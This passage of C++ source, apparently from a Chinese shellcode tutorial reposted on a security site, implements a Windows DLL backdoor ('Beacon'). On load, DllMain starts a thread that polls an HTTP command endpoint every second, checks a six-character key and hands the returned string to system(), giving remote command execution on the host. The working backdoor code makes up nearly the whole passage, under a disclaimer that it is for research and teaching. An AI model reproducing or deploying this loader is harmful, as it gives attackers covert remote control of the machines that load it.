do {
auto httpStatus =
WinHttpCrackUrl(url.c_str(), url.size(), ICU_DECODE, &urlParams);
if (httpStatus == false) {
break;
}
httpSession =
WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
if (httpSession == 0) {
break;
}
httpConnectHandle = WinHttpConnect(httpSession, urlParams.lpszHostName,
urlParams.nPort, 0);
if (httpConnectHandle == 0) {
break;
}

httpRequest = WinHttpOpenRequest(
httpConnectHandle, L"GET", urlParams.lpszUrlPath, L"HTTP/1.1",
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_REFRESH);
if (httpRequest == 0) {
break;
}
if (WinHttpSendRequest(httpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) == false) {
break;
}
if (WinHttpReceiveResponse(httpRequest, 0) == false) {
break;
}
if (WinHttpQueryDataAvailable(
httpRequest, reinterpret_cast<LPDWORD>(&realySize)) == false) {
break;
}
buffer = malloc(realySize);
if (buffer == nullptr) {
break;
}
memset(buffer, 0, realySize);
bufferSize = realySize;
if (WinHttpReadData(httpRequest, buffer, realySize,
reinterpret_cast<LPDWORD>(&realySize)) == false) {
break;
}
status = true;
} while (false);
if (status) {
*outBuffer = buffer;
outBufferSize = bufferSize;
} else {
if (buffer != nullptr) {
free(buffer);
}
}
// close
if (httpRequest != 0) {
WinHttpCloseHandle(httpRequest);
}
if (httpConnectHandle != 0) {
WinHttpCloseHandle(httpConnectHandle);
}
if (httpSession != 0) {
WinHttpCloseHandle(httpSession);
}
return status;
}
} // namespace Winhttp
namespace Auth {
std::string localKey;
auto strRand(int length) -> std::string {
char tmp;
std::string buffer;
std::random_device rd;
std::default_random_engine random(rd());
for (int i = 0; i < length; i++) {
tmp = random() % 36;
if (tmp < 10) {
tmp += '0';
} else {
tmp -= 10;
tmp += 'A';
}
buffer += tmp;
}
return buffer;
}
bool CheckPassword(std::string key) { return key == localKey; }
void Init() { localKey = strRand(6); }
} // namespace Auth
namespace Beacon {
void loopWork() {
static const std::wstring cmdUrl =
L"http://127.0.0.1:1887/api/v1/client/get_cmd";
Auth::Init();
printf("你的本地密钥是: %s 请不要随便分享给其他人n",
Auth::localKey.c_str());
do {
void* buffer = nullptr;
size_t bufferSize = 0;

bool status = Winhttp::Get(cmdUrl, &buffer, bufferSize);
if (status && buffer != nullptr) {
std::string serverCmd =
std::string(reinterpret_cast<char*>(buffer), bufferSize);
if (serverCmd.size() > 0) {
std::string key = serverCmd.substr(0, 6);
if (Auth::CheckPassword(key)) {
std::string cmd = serverCmd.substr(7, serverCmd.size());
printf("cmd: %s n", cmd.c_str());
system(cmd.c_str());
}
}
free(buffer);
}
Sleep(1000);
} while (true);
}
auto easyCreateThread(void* pFunctionAddress, void* pParams) -> HANDLE {
return CreateThread(
NULL, NULL, reinterpret_cast<LPTHREAD_START_ROUTINE>(pFunctionAddress),
static_cast<LPVOID>(pParams), NULL, NULL);
}
auto Work() -> void {
easyCreateThread(reinterpret_cast<void*>(loopWork), nullptr);
}
} // namespace Beacon

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
Beacon::Work();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


原文始发于微信公众号(冲鸭安全):手把手填鸭式的Shellcode编写入门教程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月10日15:27:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   手把手填鸭式的Shellcode编写入门教程https://cn-sec.com/archives/3379365.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息